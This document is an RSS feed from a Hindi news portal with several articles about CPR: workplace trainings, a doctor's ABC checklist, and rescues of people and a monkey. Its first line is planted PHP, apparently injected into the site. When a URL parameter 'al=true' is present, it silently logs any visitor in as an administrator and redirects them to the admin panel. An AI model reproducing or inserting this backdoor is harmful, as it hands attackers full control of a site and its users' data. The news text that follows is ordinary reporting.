// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); CPR – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 24 Apr 2026 13:08:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 एमपी ट्रांसको छैगांव में हुआ सीपीआर प्रशिक्षण https://pratyushaashakinayikiran.com/?p=214209 Fri, 24 Apr 2026 13:08:00 +0000 https://pratyushaashakinayikiran.com/?p=214209 एमपी ट्रांसको छैगांव में हुआ सीपीआर प्रशिक्षण

खंडवा मेडिकल कॉलेज के विशेषज्ञों ने सिखाये जीवन रक्षक गुर

भोपाल
मध्यप्रदेश पावर ट्रांसमिशन कंपनी (एमपी ट्रांसको) के ट्रांसमिशन लाइन मेंटेनेंस संभाग, बड़वाह की पहल पर छैगांव में जीवन रक्षक तकनीक सीपीआर (कार्डियोपल्मोनरी रेससिटेशन) पर प्रशिक्षण कार्यक्रम आयोजित किया गया।

प्रशिक्षण में शासकीय मेडिकल कॉलेज, खंडवा के विशेषज्ञ चिकित्सकों ने प्रतिभागियों को सीपीआर की सैद्धांतिक जानकारी के साथ व्यावहारिक प्रशिक्षण भी दिया। इसमें आपात स्थितियों में त्वरित प्रतिक्रिया और प्राथमिक उपचार के महत्व पर विशेष जोर दिया गया। प्रशिक्षण कार्यशाला में एमपी ट्रांसको के खंडवा, छैगांव, बड़वाह एवं जुलवानिया क्षेत्र के लगभग 80 अधिकारियों एवं कर्मचारियों ने भाग लिया।

प्रशिक्षण में शासकीय मेडिकल कॉलेज टीम खंडवा के प्राध्यापक एवं विभागाध्यक्ष (हृदय रोग) डॉ. रणजीत बडोले तथा डॉ. अनिल मंसारे ने विस्तृत प्रशिक्षण प्रदान करते हुए सीपीआर की सही तकनीक, समयबद्धता और सावधानियों की जानकारी दी।

 

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सीपीआर से पहले याद रखें ABC: डॉक्टर ने साझा किया अहम टिप https://pratyushaashakinayikiran.com/?p=199629 Sat, 21 Feb 2026 05:05:00 +0000 https://pratyushaashakinayikiran.com/?p=199629 नई दिल्ली

सीपीआर एक जीवनरक्षक आपातकालीन प्रक्रिया है जो हृदय गति रुकने पर शरीर में ब्लड सर्कुलेशन और ऑक्सीजन के प्रवाह को बनाए रखने में मदद कर सकती है। सही समय पर दी गई सीपीआर अस्पताल पहुंचने से पहले मरीज के जीवित बचने की संभावना को कई गुना बढ़ा सकती है।

नोएडा के अमर उजाला कार्यालय में आयोजित एक विशेष हेल्थ कैंप के दौरान हृदय स्वास्थ्य और आपातकालीन चिकित्सा पर महत्वपूर्ण चर्चा की गई। इस कार्यक्रम में नोएडा के एक निजी अस्पताल की वरिष्ठ चिकित्सक डॉ. सुरभि छाबड़ा ने जीवन रक्षक तकनीक 'सीपीआर' (CPR) के बारे में एक बड़ा और जरूरी सुझाव दिया। उन्होंने इस बात पर जोर दिया कि सीपीआर देने से पहले यह सुनिश्चित करना अत्यंत आवश्यक है कि मरीज को वास्तव में इसकी आवश्यकता है भी या नहीं।

अक्सर घबराहट में लोग बेहोश पड़े हर व्यक्ति को सीपीआर देना शुरू कर देते हैं, जो कि डॉ. सुरभि के अनुसार मरीज के लिए नुकसानदायक भी साबित हो सकता है। डॉ. छाबड़ा ने बताया कि किसी भी व्यक्ति को सीपीआर देने से पहले 'एबीसी' (ABC) फॉर्मूले की जांच करना जरूरी है। यह तीन चरणों वाली प्रक्रिया बताने में मदद करती है कि क्या व्यक्ति का दिल या सांस वास्तव में रुक गई है। सही पहचान के बिना दी गई चेस्ट कंप्रेशन (छाती दबाना) मरीज की पसलियों या आंतरिक अंगों को चोट पहुंचा सकती है।

एयरवे
डॉ. सुरभि के अनुसार, एबीसी फॉर्मूले में सबसे पहला चरण 'ए' यानी एयरवे (Airway) की जांच करना है। जब कोई व्यक्ति अचानक गिर जाए या बेहोश हो जाए, तो सबसे पहले यह देखें कि उसका वायु मार्ग खुला है या नहीं। कई बार गले में कुछ फंसने या जीब के पीछे की ओर गिरने के कारण सांस का रास्ता रुक जाता है।

ऐसी स्थिति में मरीज का सिर थोड़ा पीछे झुकाएं और उसकी ठुड्डी को ऊपर उठाएं। यह क्रिया सांस की नली को सीधा करने और हवा के प्रवाह के लिए रास्ता साफ करने में मदद करती है। अगर वायु मार्ग अवरुद्ध है, तो सीपीआर देने का कोई लाभ नहीं होगा क्योंकि ऑक्सीजन फेफड़ों तक पहुंच ही नहीं पाएगी।

ब्रिदिंग
एबीसी प्रक्रिया का दूसरा महत्वपूर्ण चरण 'बी' यानी ब्रिदिंग है। डॉ. छाबड़ा ने सुझाव दिया कि मरीज के पास अपना कान ले जाएं और उसकी सांसों की आवाज सुनने की कोशिश करें। साथ ही अपनी नजरें मरीज की छाती पर रखें और देखें कि क्या वह ऊपर-नीचे हो रही है।

अगर व्यक्ति सामान्य रूप से सांस ले रहा है, तो उसे सीपीआर की आवश्यकता नहीं होती है। अक्सर लोग सामान्य बेहोशी या 'मिर्गी' के दौरे में भी सीपीआर देने लगते हैं, जो गलत है। केवल तभी सीपीआर दें जब व्यक्ति की सांसें पूरी तरह रुक चुकी हों।

सर्कुलेशन
एबीसी फॉर्मूले का अंतिम स्टेज है 'सी' यानी सर्कुलेशन चेक करना है। इसका मतलब है कि मरीज के शरीर में खून का प्रवाह हो रहा है या नहीं, इसे जांचना। इसके लिए गर्दन के पास स्थित 'कैरोटिड पल्स' को 5 से 10 सेकंड तक महसूस करें।

आप कलाई की नब्ज को भी चेक कर सकते हैं लेकिन अगर कलाई पर नब्ज न मिले तो गर्दन के पास ही चेक करें। डॉ. सुरभि के मुताबिक, अगर पल्स महसूस नहीं हो रही है और मरीज की सांसें भी बंद हैं, तो यह 'कार्डियक अरेस्ट' का स्पष्ट संकेत है। ऐसी स्थिति में बिना देरी किए तुरंत सीपीआर शुरू कर देना चाहिए।

 गलत सीपीआर से होने वाले जोखिम
डॉ. सुरभि छाबड़ा ने अंत में यह स्पष्ट किया कि सीपीआर एक बेहद शक्तिशाली जीवन रक्षक तकनीक है, लेकिन इसकी प्रभावशीलता सही समय और सही मरीज के चुनाव पर निर्भर करती है। अगर किसी ऐसे व्यक्ति की छाती जोर से दबाई जाए जिसका दिल धड़क रहा है, तो इससे हार्ट रिदम बिगड़ सकता है और पसलियां टूट सकती हैं।

एबीसी फॉर्मूले का पालन करने से आप न सिर्फ मरीज की स्थिति को बेहतर ढंग से समझ पाएंगे, बल्कि आपातकालीन चिकित्सा सहायता (एम्बुलेंस) आने तक उसे एक नया जीवन देने की संभावना भी बढ़ा सकेंगे।

 

 

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उज्जैन में चमत्कार जैसी मेडिकल सफलता: 40 मिनट CPR, 12 शॉक के बाद युवक की धड़कन लौटाई https://pratyushaashakinayikiran.com/?p=172959 Thu, 24 Jul 2025 10:34:00 +0000 https://pratyushaashakinayikiran.com/?p=172959 उज्जैन

अगर समय रहते कोशिश की जाए, तो किसी की जान बचाई जा सकती है. सवाल केवल अपनी सतर्कता का है. उज्जैन जिले के नागदा स्थित एक प्राइवेट अस्पताल में ऐसा ही उदाहरण देखने को मिला, जहां हार्ट अटैक के बाद अस्पताल के स्टाफ की तत्परता ने युवक की जान बचा ली. 

उज्जैन में नागदा के एक प्राइवेट अस्पताल में उस समय अफरा-तफरी मच गई, जब एक युवक को अस्पताल की ओपीडी में चेकअप के दौरान अचानक हार्ट अटैक आ गया. युवक अस्पताल की कुर्सी पर बैठे-बैठे ही नीचे गिर पड़ा और उसकी धड़कनें बंद हो गईं. लेकिन अस्पताल के डॉक्टरों और स्टाफ की तत्परता से उसकी जान बचाई जा सकी. यह पूरा घटनाक्रम अस्पताल के सीसीटीवी कैमरे में कैद हो गया, जो अब सोशल मीडिया पर वायरल हो रहा है.

जानकारी के अनुसार, 30 वर्षीय सनी गेहलोत निवासी ग्राम रूपेटा सीने में दर्द की शिकायत के बाद नागदा के चौधरी अस्पताल एंड रिसर्च सेंटर में चेकअप कराने आया था. डॉक्टर उसकी ब्लड प्रेशर जांच कर ही रहे थे कि तभी वह अचानक बेहोश होकर गिर गया. डॉक्टरों ने तुरंत जांच की तो उसकी पल्स और बीपी नहीं मिल रहा था. स्थिति को भांपते हुए डॉक्टरों ने तत्काल CPR (कार्डियो पल्मोनरी रिससिटेशन) और इलेक्ट्रिक शॉक थेरेपी देना शुरू किया.

सीने में दर्द होने की शिकायत लिए 30 साल का एक युवक सनी गेहलोत नागदा के चौधरी अस्पताल एंड रिसर्च सेंटर पहुंचा था. डॉक्टर उनका ब्लड प्रेशर जांच रहे थे, तभी वह कुर्सी पर बैठे-बैठे अचेत होकर गिर पड़ा. जांच में न तो उसकी पल्स मिली और न ही ब्लड प्रेशर. तुरंत डॉक्टरों ने सीपीआर और इलेक्ट्रिक शॉक थेरेपी देने का निर्णय लिया और उपचार शुरू किया. 

मरीज को तत्काल आईसीयू में शिफ्ट किया गया, जहां उसे लगातार सीपीआर दी गई. डॉक्टरों की मेहनत रंग लाई और युवक की जान बच गई. यह पूरी घटना अस्पताल के सीसीटीवी कैमरों में रिकॉर्ड हो गई, जो अब वायरल हो रही है. 

डॉ. सुनील चौधरी ने बताया कि करीब 40 मिनट तक सीपीआर और इलेक्ट्रिक शॉक दिए गए, जिसके बाद युवक की धड़कन शुरू हुई. प्राथमिक उपचार के बाद उसे इंदौर रेफर किया गया, जहां उसका इलाज जारी है.यह घटना मंगलवार दोपहर करीब ढाई बजे की है. 

जानकारी के अनुसार, ग्राम रूपेटा निवासी सनी गेहलोत सीने में दर्द की शिकायत लेकर चौधरी अस्पताल एंड रिसर्च सेंटर पहुंचा था. ओपीडी में डॉक्टर उसे देख रहे थे, तभी अचानक सीने में तेज दर्द हुआ और वह कुर्सी पर बैठे-बैठे गिर गया. इस दौरान उसे लगभग 12 बार शॉक और 40 मिनट तक सीपीआर दिया गया, जिससे उसकी जान बच सकी.

40 मिनट तक चला CPR, 12 बार दिए गए इलेक्ट्रिक शॉक

डॉ. सुनील चौधरी ने बताया कि सनी को ICU में शिफ्ट कर 40 मिनट तक CPR दिया गया और 12 बार इलेक्ट्रिक शॉक थेरेपी दी गई. आखिरकार डॉक्टरों की मेहनत रंग लाई और युवक की धड़कनें फिर से चलने लगीं. प्रारंभिक इलाज के बाद युवक को इंदौर रेफर कर दिया गया है, जहां उसका इलाज जारी है. अस्पताल के OPD में लगे सीसीटीवी कैमरे में पूरी घटना रिकॉर्ड हो गई है. फुटेज में साफ दिखता है कि कैसे युवक कुर्सी से गिरा और कैसे डॉक्टरों ने बिना देरी किए CPR शुरू किया.

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एम.पी. ट्रांस्को के कार्मिकों ने सीखीं जीवन रक्षक तकनीक https://pratyushaashakinayikiran.com/?p=132524 Thu, 20 Feb 2025 04:16:00 +0000 https://pratyushaashakinayikiran.com/?p=132524 भोपाल

मध्य प्रदेश पावर ट्रांसमिशन कंपनी (एम.पी. ट्रांसको) एवं रेड क्रॉस सोसायटी व स्थानीय जिला चिकित्सालयों के सहयोग से मध्यप्रदेश में एम.पी. ट्रांसको के जिला मुख्यालयों में स्थित ट्रांसमिशन लाइन मेंटेनेंस उप संभागों, सबस्टेशनों आदि में ‘‘सी.पी.आर. एवं अन्य ऐसे ही जीवन रक्षक तकनीकों‘‘ पर प्रशिक्षण कार्यशाला आयोजित किये जा रहें है। इसी क्रम में एक प्रशिक्षण कार्यशाला एमपी ट्रांसको एवं श्रीमंत राजमाता विजयाराजे सिंधिया चिकित्सा महाविद्यालय शिवपुरी के संयुक्त तत्वावधान में शिवपुरी में आयोजित की गई।

कार्यपालन अभियंता अजीत वर्मा द्वारा कार्यक्रम के उद्देश्य एवं विषय की उपयोगिता पर प्रकाश डाला। कार्यशाला में कंपनी के परीक्षण संभाग शिवपुरी एवं अति उच्चदाब संधारण उपसंभाग शिवपुरी के समस्त अधिकारी एवं कर्मचारियो को श्रीमंत राजमाता विजयाराजे सिंधिया चिकित्सा महाविघालय शिवपुरी की डॉ. शिल्पा अग्रवाल (विभागाध्यक्ष एवं सह प्रध्यापक, निश्चेतना विभाग) एवं डॉ. नीति अग्रवाल (सहप्रध्यापक, सर्जरी विभाग) द्वारा व्यवहारिक और उपयोगी प्रशिक्षण दिया गया।

कार्यशाला में एम.पी. ट्रांसको के करीब 50 मेंटनेन्स, ऑपरेटिंग एवं सुरक्षा कर्मियों ने हिस्सा लिया। सी.पी.आर. प्रशिक्षण के लिये उपयोग किये जाने वाले मानव पुतले एवं कुछ वीडियों की सहायता से सी.पी.आर. तकनीक का विस्तृत प्रशिक्षण दिया गया। प्रत्येक प्रतिभागी ने विषय विशेषज्ञ की निगरानी में मानव पुतले पर सीपीआर तकनीक का अभ्यास किया एवं प्राथमिक उपचार संबंधित प्रशिक्षण प्राप्त किया। अभ्यास के दौरान विषय विशेषज्ञ द्वारा प्रतिभागियों की शारिरिक मुद्रा एवं तकनीक उपयोग की बारीकी से जांच कर उन्हें सुधारा गया।

डाक्टरों द्वारा अन्य जीवन रक्षक तकनीकों यथा पानी में डूबे हुए व्यक्ति का बचाव, किसी भी प्रकार के शॉक लगने वाले व्यक्ति का बचाव, सिक्का या किसी अन्य वस्तु का गलती से श्वास नली में फंस जाने एवं चोट लगने पर उसका प्राथमिक उपचार इत्यादि पर विस्तृत जानकारी भी दी गई। प्रतिभागियों के प्रश्नों का समाधान भी इस शिविर में किया गया।

 

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राजगढ़ एसपी ने घायल बुजुर्ग काे दिया सीपीआर, अस्पताल में इलाज के दौरान हुई मौत https://pratyushaashakinayikiran.com/?p=108589 Wed, 11 Dec 2024 12:56:00 +0000 https://pratyushaashakinayikiran.com/?p=108589  राजगढ़
मंगलवार शाम को ब्यावरा से सारंगपुर जा रहे राजगढ़ एसपी आदित्य मिश्रा ने एक बुजुर्ग की जान बचाने के लिए अपनी पूरी ताकत झोंक दी। उन्होंने बुजुर्ग को सड़क पर घायल पड़ा देख बिना देरी किए अपनी गाड़ी रुकवाकर घायल को सीपीआर देने का प्रयास किया।

यह था मामला

मंगलवार शाम को राजगढ़ जिले के कलेक्टर गिरीश कुमार मिश्रा और एसपी आदित्य मिश्रा ब्यावरा से सारंगपुर जा रहे थे। इस दौरान करनवास के पास सड़क पर उन्हें घायल अवस्था में एक बुजुर्ग व्यक्ति दिखा। यह देख एसपी-कलेक्टर ने तुरंत अपनी गाड़ी रुकवाई और बिना देरी किए सड़क पर उतरकर घायल बुजुर्ग की मदद करने की कोशिश की।

स्थानीय लोगों ने बताया कि हाईवे पर पड़े हीरालाल सितार (70) निवासी किशनपुरिया को एक कार ने टक्कर मार दी थी। टक्कर मारने के बाद कार का चालक फरार हो गया और हीरालाल अचेत अवस्था में पड़े थे।

सीपीआर देते हुए एसपी बोले- काका उठों

इसके बाद एसपी आदित्य मिश्रा ने घायल को बचाने के लिए सीपीआर देने की कोशिश की। उन्होंने मुंह से सांस देकर उनकी जान बचाने का प्रयास किया और बुजुर्ग को होश में लाने के लिए 'काका' कहकर आवाज दी।

इस दौरान कलेक्टर गिरिश कुमार मिश्रा भी उनके पास मदद के लिए खड़े रहे। इसके बाद मौके पर पहुंची एम्बुलेंस से बुजुर्ग को अस्पताल पहुंचाया गया, जहां डॉक्टर ने उन्हें मृत घोषित कर दिया।

वायरल हो रहा वीडियो

मौके पर मौजूद लोगों ने अफसरों का बुजुर्ग की मदद करने की घटना का वीडियो बना लिया, जो अब सोशल मीडिया पर वायरल हो रहा है। पुलिस टक्कर मारने वाले कार चालक की तलाश कर रही है।

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इंदौर में शख्स को चलती गाडी पर आया अटैक हेड कॉन्स्टेबल ने सीपीआर देकर जान बचाई https://pratyushaashakinayikiran.com/?p=62196 Tue, 20 Aug 2024 12:56:00 +0000 https://pratyushaashakinayikiran.com/?p=62196 इंदौर

आए दिन पुलिसकर्मियों की ऐसी तस्वीरें और वीडियो सामने आते हैं, जिसमें वो किसी शख्स की मदद करते या जान बचाते हुए नजर आते हैं. ऐसा ही मामला भारत की स्वच्छ नगरी इंदौर से सामने आई है. यहां पुलिसकर्मी की मदद से एक युवक की जान बच गई. दरअसल, इंदौर में एक शख्स को चलती एक्टिवा पर अटैक आ गया. वहीं एक्टिवा पर पिता के साथ बैठी 14 साल की बेटी ने रोते हुए लोगों से मदद मांगी, तभी वहां से गुजर रहे एक कॉन्स्टेबल ने युवक की मदद की, जिससे उसका जान बच गया.

कॉन्स्टेबल की सूझबूझ से बची युवक की जान

ये मामला इंदौर-महू रोड पर सोमवार शाम करीब 5.30 बजे की है. पीथमपुर के रहने वाले जगदीश अपनी बेटी के साथ कहीं जा रहे थे. तभी उन्हें घबराहट होने लगी. उन्होंने एक्टिवा को साइड में रोकी और गाड़ी पर ही बैठ गए. बेटी उन्हें संभालने के लिए गाड़ी से उतरी. पिता को पसीने से लथपथ देख वो भी घबराने लगी और रोते हुए लोगों से मदद मांगने लगी.

कुछ देर में वहां भीड़ लग गई. हालांकि इसी दौरान किशनगंज थाने में पदस्थ हेड कॉन्स्टेबल राघवेंद्र रघुवंशी वहां से बाइक से गुजर रहे थे. तभी उनकी नजर भीड़ पर पड़ी.

कैसे कॉन्स्टेबल ने युवक की बचाई जान?

भीड़ देखकर कॉन्स्टेबल राघवेंद्र रुक गए और बच्ची से पूछा तो उसने पिता की ओर इशारा किया. तब तक युवक जमीन पर गिर चुका था. कॉन्स्टेबल ने तुरंत मामला समझ लिया और उन्हें सीपीआर दी. कुछ ही सेकेंड में जगदीश की सांसें ठीक से चलने लगी और वो बेहोशी की हालत से बाहर आए. जिसके बाद उन्होंने कॉन्स्टेबल राघवेंद्र को धन्यवाद दिया. बता दें कि अब हेड कॉन्स्टेबल राघवेंद्र रघुवंशी की चारों ओर चर्चाएं हो रही है.

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बुलंदशहर में पुलिसकर्मी ने CPR देकर बचाई बेहोश पड़े बंदर की जान https://pratyushaashakinayikiran.com/?p=35865 Thu, 30 May 2024 13:26:00 +0000 https://pratyushaashakinayikiran.com/?p=35865  बुलंदशहर

 बुलंदशहर जिले के छतारी पुलिस थाने में बंदरों की भरमार है. यहां अकसर बंदर पुलिसकर्मियों और आने वालों को परेशान करते रहते हैं, लेकिन बीती 24 मई को भीषण गर्मी में लू लग जाने की वजह से एक बंदर बेहोश हो गया. थाने के पुलिसकर्मी विकास तोमर की नजर उस मृत समान दिखाई देने वाले बंदर पर गई तो सिपाही ने उसे बचाने के लिए जी तोड़ मेहनत की और सीपीआर देखकर फाइनली उसे बचाने में कामयाब हो गया.

बंदर को बचाने के लिए पुलिसकर्मी अपनी जान पर भी खेल गया क्योंकि जहां बंदर बेहोश पड़ा हुआ था, वहां आसपास दर्जनों बंदर मौजूद थे, जोकि अपने साथी की हालत देखकर चीख-चिल्ला रहे थे. बंदर हमला कर सकते हैं, इसकी परवाह किए बिना ही सिपाही ने बेहोशी की हालत में पड़े बंदर की जान बचाई.  

पुलिसकर्मी ने देखा कि बंदर की सांस चल रही है तो उसके हार्ट की पंपिंग की और कमर-सिर पर थपथपाकर घंटों उसका वेटनरी डॉक्टर की तरह पानी पिलाकर इलाज किया तो छोटे बंदर में भी जान पड़ गई. थाने में मौजूद अन्य पुलिसकर्मी बंदर के इलाज को देखने के लिए आ गए. सिपाही के ही किसी साथी ने बंदर को सीपीआर देने का वीडियो बनाकर वायरल कर दिया. इस घटना का वीडियो अब सोशल मीडिया पर खूब वायरल हो रहा है, जिसकी आसपास के इलाकों में चर्चा हो रही है.  

बंदर को सीपीआर देने वाले सिपाही विकास तोमर का कहना है कि बेहोशी की हालत में पड़े साथी को देखकर आसपास कई बंदर इकट्ठे हो गए थे. थाने के लोग इस बंदर के पास जाने में डर रहे थे, तब मैंने सभी लोगों को दूर हटाया और प्यार की भावना से जब बंदर की ओर बढ़ा तो सभी बंदर शांत हो गए. मैंने करीब डेढ़-दो घंटे तक बंदर के साथ मेहनत की.   

सिपाही के मुताबिक, लोगों ने बताया था कि शायद बिजली का करंट लगा है, इसलिए यह बेहोश हुआ है तो मैंने इसको पानी नहीं पिलाया, लेकिन जब बाद में इसने हल्की सी झपकी तो इसको पानी पिलाया और धीरे-धीरे सांस आने लगी. फिर मुझे लगा कि इसको लू लगी है या गर्मी की वजह से ये बेहोश हुआ है. बाद में इसमें जब जान आ गई तो डॉक्टर को बुलाकर टीका लगवा दिया और अन्य बंदरों के साथ छोड़ दिया गया. मुझे अच्छा लगा कि मेरे छोटे प्रयास से एक बंदर की जान बच सकी.

 

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